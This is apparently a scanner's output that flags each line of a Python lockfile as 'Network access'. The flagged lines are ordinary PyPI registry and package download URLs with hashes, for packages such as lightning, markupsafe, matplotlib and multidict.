    sdist = { url = "https://files.pythonhosted.org/packages/c9/1d/83be8536bec71a0173e762a9a1fd92a24a5ad0d0f74c59550c3c4e6c103b/lightning-2.6.5.tar.gz", hash = "sha256:16a30310ed69afde3748491feb5d13508908effd70390d2bfc203dc0812a4b4a", size = 65
  • Network accessline 630
    wheels = [     { url = "https://files.pythonhosted.org/packages/e7/c5/fca7144236b6fa3279d0fb3172b32576c5ad8b84a63b9432ad6592d24847/lightning-2.6.5-py3-none-any.whl", hash = "sha256:3702fb7ef4ab51a8c3d4a140f4674514fe72973a9673dfa05e07a078e27
  • Network accessline 631
    { url = "https://files.pythonhosted.org/packages/e7/c5/fca7144236b6fa3279d0fb3172b32576c5ad8b84a63b9432ad6592d24847/lightning-2.6.5-py3-none-any.whl", hash = "sha256:3702fb7ef4ab51a8c3d4a140f4674514fe72973a9673dfa05e07a078e2767389", size = 
  • Network accessline 635
    name = "lightning-utilities" version = "0.15.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 636
    version = "0.15.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 637
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 640
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/f1/45/7fa8f56b17dc0f0a41ec70dd307ecd6787254483549843bef4c30ab5adce/lightning_utilities-0.15.3.tar.gz", hash = "sha256:792ae0204c79f6859721ac7f386c237
  • Network accessline 641
    ] sdist = { url = "https://files.pythonhosted.org/packages/f1/45/7fa8f56b17dc0f0a41ec70dd307ecd6787254483549843bef4c30ab5adce/lightning_utilities-0.15.3.tar.gz", hash = "sha256:792ae0204c79f6859721ac7f386c237a33b0ed06ba775009cb894e010a84203
  • Network accessline 642
    sdist = { url = "https://files.pythonhosted.org/packages/f1/45/7fa8f56b17dc0f0a41ec70dd307ecd6787254483549843bef4c30ab5adce/lightning_utilities-0.15.3.tar.gz", hash = "sha256:792ae0204c79f6859721ac7f386c237a33b0ed06ba775009cb894e010a842033"
  • Network accessline 643
    wheels = [     { url = "https://files.pythonhosted.org/packages/25/f4/ead6e0e37209b07c9baa3e984ccdb0348ca370b77cea3aaea8ddbb097e00/lightning_utilities-0.15.3-py3-none-any.whl", hash = "sha256:6c55f1bee70084a1cbeaa41ada96e4b3a0fea5909e844dd3
  • Network accessline 644
    { url = "https://files.pythonhosted.org/packages/25/f4/ead6e0e37209b07c9baa3e984ccdb0348ca370b77cea3aaea8ddbb097e00/lightning_utilities-0.15.3-py3-none-any.whl", hash = "sha256:6c55f1bee70084a1cbeaa41ada96e4b3a0fea5909e844dd335bd80f5a73c5f9
  • Network accessline 648
    name = "mako" version = "1.4.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 649
    version = "1.4.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 650
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 652
    { name = "markupsafe" }, ] sdist = { url = "https://files.pythonhosted.org/packages/2a/12/b5fa2353e2754cd67fb9f83793fa48ff42c213a5da7e719869d2301f6ab8/mako-1.4.1.tar.gz", hash = "sha256:d7904710b662996425a21627710c4777c45053146942cf8a7aebf7
  • Network accessline 653
    ] sdist = { url = "https://files.pythonhosted.org/packages/2a/12/b5fa2353e2754cd67fb9f83793fa48ff42c213a5da7e719869d2301f6ab8/mako-1.4.1.tar.gz", hash = "sha256:d7904710b662996425a21627710c4777c45053146942cf8a7aebf757c92b8c27", size = 41016
  • Network accessline 654
    sdist = { url = "https://files.pythonhosted.org/packages/2a/12/b5fa2353e2754cd67fb9f83793fa48ff42c213a5da7e719869d2301f6ab8/mako-1.4.1.tar.gz", hash = "sha256:d7904710b662996425a21627710c4777c45053146942cf8a7aebf757c92b8c27", size = 410165,
  • Network accessline 655
    wheels = [     { url = "https://files.pythonhosted.org/packages/a5/54/12ed58d458474aaab5c3d180173e745a4fe131bb330370596876d19ff60f/mako-1.4.1-py3-none-any.whl", hash = "sha256:a359d9a94a541213958742b2698d0a7757bb83551767bc468a74b9905aba9617
  • Network accessline 656
    { url = "https://files.pythonhosted.org/packages/a5/54/12ed58d458474aaab5c3d180173e745a4fe131bb330370596876d19ff60f/mako-1.4.1-py3-none-any.whl", hash = "sha256:a359d9a94a541213958742b2698d0a7757bb83551767bc468a74b9905aba9617", size = 80010
  • Network accessline 660
    name = "markdown-it-py" version = "4.2.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 661
    version = "4.2.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 662
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 664
    { name = "mdurl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a1
  • Network accessline 665
    ] sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", si
  • Network accessline 666
    sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size
  • Network accessline 667
    wheels = [     { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a3
  • Network accessline 668
    { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", si
  • Network accessline 672
    name = "markupsafe" version = "3.0.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 673
    version = "3.0.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695
  • Network accessline 674
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 675
    sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 8
  • Network accessline 676
    wheels = [     { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124
  • Network accessline 677
    { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c
  • Network accessline 678
    { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b180
  • Network accessline 679
    { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43
  • Network accessline 680
    { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f
  • Network accessline 681
    { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec
  • Network accessline 682
    { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138
  • Network accessline 683
    { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc
  • Network accessline 684
    { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e4
  • Network accessline 685
    { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", s
  • Network accessline 686
    { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5
  • Network accessline 687
    { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485
  • Network accessline 688
    { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c2
  • Network accessline 689
    { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f
  • Network accessline 690
    { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885
  • Network accessline 691
    { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f
  • Network accessline 692
    { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b1
  • Network accessline 693
    { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed311
  • Network accessline 694
    { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda
  • Network accessline 695
    { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898d
  • Network accessline 696
    { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", 
  • Network accessline 697
    { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a21
  • Network accessline 698
    { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f40628
  • Network accessline 702
    name = "matplotlib" version = "3.11.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 703
    version = "3.11.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 704
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 714
    { name = "python-dateutil" }, ] sdist = { url = "https://files.pythonhosted.org/packages/49/64/f9a391af28f518b11ad45a8a712353c94a0aefce09d3703200e5c54b610a/matplotlib-3.11.1.tar.gz", hash = "sha256:69647db5746941c793d6e445a4cd349323ffb87d9c
  • Network accessline 715
    ] sdist = { url = "https://files.pythonhosted.org/packages/49/64/f9a391af28f518b11ad45a8a712353c94a0aefce09d3703200e5c54b610a/matplotlib-3.11.1.tar.gz", hash = "sha256:69647db5746941c793d6e445a4cd349323ffb87d9cc958c2ad84a659b4832d30", size 
  • Network accessline 716
    sdist = { url = "https://files.pythonhosted.org/packages/49/64/f9a391af28f518b11ad45a8a712353c94a0aefce09d3703200e5c54b610a/matplotlib-3.11.1.tar.gz", hash = "sha256:69647db5746941c793d6e445a4cd349323ffb87d9cc958c2ad84a659b4832d30", size = 
  • Network accessline 717
    wheels = [     { url = "https://files.pythonhosted.org/packages/04/6c/4798363b7fb5644e309fe1fac30216e9146c9f70859d80d588c18caf5317/matplotlib-3.11.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6771b0cd7838c6a857a7209814158c0ad09bfe
  • Network accessline 718
    { url = "https://files.pythonhosted.org/packages/04/6c/4798363b7fb5644e309fe1fac30216e9146c9f70859d80d588c18caf5317/matplotlib-3.11.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6771b0cd7838c6a857a7209814158c0ad09bfef878db3033dd82d
  • Network accessline 719
    { url = "https://files.pythonhosted.org/packages/59/98/6acadbe7f98df19d274bc107ac58bb439fa75df82c33dc110d71a4a8501f/matplotlib-3.11.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2abdee5ffa2fe11b2d19f7a5c63b785fb7c28cc46c7bc1814156341
  • Network accessline 720
    { url = "https://files.pythonhosted.org/packages/24/ea/65cec46fe241390ccea1b1754207ee28eb71c5ab866bd5f22fe47e538fa4/matplotlib-3.11.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0a19dcf73406d3746d25a5ed42d71
  • Network accessline 721
    { url = "https://files.pythonhosted.org/packages/c7/10/63fdccccbabe002fb0960876baabc5e3f24d9c1bb4cfb25651457f74b3a0/matplotlib-3.11.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7389b77ed2ab0552f46d9a90b81
  • Network accessline 722
    { url = "https://files.pythonhosted.org/packages/98/51/a1155945bff7b91381875022ac1522c5dfdac0d006be8e7df389b3134eae/matplotlib-3.11.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c90be0b73568da4f662afac580956a76e308437e641b4a45aa08
  • Network accessline 723
    { url = "https://files.pythonhosted.org/packages/0d/3a/3d5e1f42dc761bf53401a62a83ff93389b37de9d2c093b2a3aa49ac34f1b/matplotlib-3.11.1-cp313-cp313-win_amd64.whl", hash = "sha256:68408341f2312836fbbdf6b3c78047f65b2d8752f5fd221c3e72d348f5b34f8
  • Network accessline 724
    { url = "https://files.pythonhosted.org/packages/e2/db/3f5ea5a5b64060ef5e1ff60a19170423e41ce21b8497a6fe15a36e0b43e3/matplotlib-3.11.1-cp313-cp313-win_arm64.whl", hash = "sha256:0c1f44890d435c1b4ef52f701ad5828cb450ea97bcc83918fda6be74965d6cd
  • Network accessline 725
    { url = "https://files.pythonhosted.org/packages/98/6e/c7ae5e0531425b69c0826b00ebbc264c85cab853f1cd6e096c9983c2cdc1/matplotlib-3.11.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:5e510088c27a89d53580a752f959146893563e63c330e161d159
  • Network accessline 726
    { url = "https://files.pythonhosted.org/packages/92/79/15be162e0a2ed546939674e2e97d0e33ec2447d86d4d4e611fa295bb178c/matplotlib-3.11.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:1524e2bdd48a93557aa47ddcfe9c225dfdd57d5a01a5c49128c20f
  • Network accessline 727
    { url = "https://files.pythonhosted.org/packages/6a/7f/36ffe144fc4aacfe0e3ed2318f72b6755d1e73b041d619b4d393e60f5a66/matplotlib-3.11.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:11664c551345553db92e61cae6cf1
  • Network accessline 728
    { url = "https://files.pythonhosted.org/packages/ab/5f/55812d68c0a840d3a463638f48c00ab1fe338518ec49a640cb6473b444af/matplotlib-3.11.1-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5e1f8922ba31959cf6a9dfb51b
  • Network accessline 729
    { url = "https://files.pythonhosted.org/packages/7a/64/cca444b4eb5e6c768c44fc5e1f0b5211f20ca2b282778051996e996a2bdf/matplotlib-3.11.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:83235693abde86e5e0129998f80ee39fc7f58e6d56a88fafb28
  • Network accessline 730
    { url = "https://files.pythonhosted.org/packages/e5/0f/a49c329d394f2e9ef38506982107e8b04ecf94dd41a9d8423ff82cc737c7/matplotlib-3.11.1-cp313-cp313t-win_amd64.whl", hash = "sha256:9a076f4fc5cdc43fdf510f5981418d25c2db4973418d9f22d8bb3dc8045ada
  • Network accessline 731
    { url = "https://files.pythonhosted.org/packages/e4/50/103e86afb806d8f64d04ede14e4cfc09dbfc25f512421ff85fdd6ebd59cf/matplotlib-3.11.1-cp313-cp313t-win_arm64.whl", hash = "sha256:216fbb93a74add02ddb4cb38ef5348f59ac00b3e84567eaf16598772d40e15
  • Network accessline 735
    name = "mdurl" version = "0.1.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 736
    version = "0.1.2" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5e
  • Network accessline 737
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 738
    sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, 
  • Network accessline 739
    wheels = [     { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f
  • Network accessline 740
    { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979
  • Network accessline 744
    name = "mpmath" version = "1.3.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 745
    version = "1.3.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a97
  • Network accessline 746
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 747
    sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a9774d00c7bc92411c19a89209d5da7c4c9a9e227be8330a23a25b91f", size = 50810
  • Network accessline 748
    wheels = [     { url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d
  • Network accessline 749
    { url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c", size = 536
  • Network accessline 753
    name = "multidict" version = "6.7.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 754
    version = "6.7.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a
  • Network accessline 755
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 756
    sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d", size = 10
  • Network accessline 757
    wheels = [     { url = "https://files.pythonhosted.org/packages/f2/22/929c141d6c0dba87d3e1d38fbdf1ba8baba86b7776469f2bc2d3227a1e67/multidict-6.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2b41f5fed0ed563624f1c17630cb9941cf23
  • Network accessline 758
    { url = "https://files.pythonhosted.org/packages/f2/22/929c141d6c0dba87d3e1d38fbdf1ba8baba86b7776469f2bc2d3227a1e67/multidict-6.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:2b41f5fed0ed563624f1c17630cb9941cf2309d4df00e494b55
  • Network accessline 759
    { url = "https://files.pythonhosted.org/packages/c7/75/bc704ae15fee974f8fccd871305e254754167dce5f9e42d88a2def741a1d/multidict-6.7.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84e61e3af5463c19b67ced91f6c634effb89ef8bfc5ca0267f95445
  • Network accessline 760
    { url = "https://files.pythonhosted.org/packages/79/76/55cd7186f498ed080a18440c9013011eb548f77ae1b297206d030eb1180a/multidict-6.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:935434b9853c7c112eee7ac891bc4cb86455aa631269ae35442cb3167
  • Network accessline 761
    { url = "https://files.pythonhosted.org/packages/e9/3c/414842ef8d5a1628d68edee29ba0e5bcf235dbfb3ccd3ea303a7fe8c72ff/multidict-6.7.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:432feb25a1cb67fe82a9
  • Network accessline 762
    { url = "https://files.pythonhosted.org/packages/f6/32/befed7f74c458b4a525e60519fe8d87eef72bb1e99924fa2b0f9d97a221e/multidict-6.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e82d14e
  • Network accessline 763
    { url = "https://files.pythonhosted.org/packages/03/d6/c878a44ba877f366630c860fdf74bfb203c33778f12b6ac274936853c451/multidict-6.7.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4cfb48c6ea
  • Network accessline 764
    { url = "https://files.pythonhosted.org/packages/68/49/57421b4d7ad2e9e60e25922b08ceb37e077b90444bde6ead629095327a6f/multidict-6.7.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d540e5
  • Network accessline 765
    { url = "https://files.pythonhosted.org/packages/b7/fe/ec0edd52ddbcea2a2e89e174f0206444a61440b40f39704e64dc807a70bd/multidict-6.7.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:273d23f4b40f3
  • Network accessline 766
    { url = "https://files.pythonhosted.org/packages/b0/73/6e1b01cbeb458807aa0831742232dbdd1fa92bfa33f52a3f176b4ff3dc11/multidict-6.7.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d624335fd
  • Network accessline 767
    { url = "https://files.pythonhosted.org/packages/6a/b2/5fb8c124d7561a4974c342bc8c778b471ebbeb3cc17df696f034a7e9afe7/multidict-6.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:12fad252f8b267cc75b66e8fc51b3079604e8d43a75428ffe193c
  • Network accessline 768
    { url = "https://files.pythonhosted.org/packages/5a/96/51d4e4e06bcce92577fcd488e22600bd38e4fd59c20cb49434d054903bd2/multidict-6.7.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:03ede2a6ffbe8ef936b92cb4529f27f42be7f56afcdab5ab739cd5
  • Network accessline 769
    { url = "https://files.pythonhosted.org/packages/db/6b/420e173eec5fba721a50e2a9f89eda89d9c98fded1124f8d5c675f7a0c0f/multidict-6.7.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:90efbcf47dbe33dcf643a1e400d67d59abeac5db07dc3f27d6bdeae4
  • Network accessline 770
    { url = "https://files.pythonhosted.org/packages/44/a3/ec5b5bd98f306bc2aa297b8c6f11a46714a56b1e6ef5ebda50a4f5d7c5fb/multidict-6.7.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c4b9bfc148f5a91be9244d6264c53035c8a0dcd2f51f1c3c6e30
  • Network accessline 771
    { url = "https://files.pythonhosted.org/packages/cd/f7/e8c0d0da0cd1e28d10e624604e1a36bcc3353aaebdfdc3a43c72bc683a12/multidict-6.7.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:401c5a650f3add2472d1d288c26deebc540f99e2fb83e9525007a74
  • Network accessline 772
    { url = "https://files.pythonhosted.org/packages/52/da/151a44e8016dd33feed44f730bd856a66257c1ee7aed4f44b649fb7edeb3/multidict-6.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:97891f3b1b3ffbded884e2916cacf3c6fc87b66bb0dde46f735740
  • Network accessline 773
    { url = "https://files.pythonhosted.org/packages/87/af/a3b86bf9630b732897f6fc3f4c4714b90aa4361983ccbdcd6c0339b21b0c/multidict-6.7.1-cp313-cp313-win32.whl", hash = "sha256:e1c5988359516095535c4301af38d8a8838534158f649c05dd1050222321bcb3", si
  • Network accessline 774
    { url = "https://files.pythonhosted.org/packages/b2/35/e994121b0e90e46134673422dd564623f93304614f5d11886b1b3e06f503/multidict-6.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:960c83bf01a95b12b08fd54324a4eb1d5b52c88932b5cba5d6e712bb3ed12eb5"
  • Network accessline 775
    { url = "https://files.pythonhosted.org/packages/ca/61/42d3e5dbf661242a69c97ea363f2d7b46c567da8eadef8890022be6e2ab0/multidict-6.7.1-cp313-cp313-win_arm64.whl", hash = "sha256:563fe25c678aaba333d5399408f5ec3c383ca5b663e7f774dd179a520b8144df"
  • Network accessline 776
    { url = "https://files.pythonhosted.org/packages/6d/b3/e6b21c6c4f314bb956016b0b3ef2162590a529b84cb831c257519e7fde44/multidict-6.7.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:c76c4bec1538375dad9d452d246ca5368ad6e1c9039dadcf00
  • Network accessline 777
    { url = "https://files.pythonhosted.org/packages/fb/76/23ecd2abfe0957b234f6c960f4ade497f55f2c16aeb684d4ecdbf1c95791/multidict-6.7.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:57b46b24b5d5ebcc978da4ec23a819a9402b4228b8a90d9c656422
  • Network accessline 778
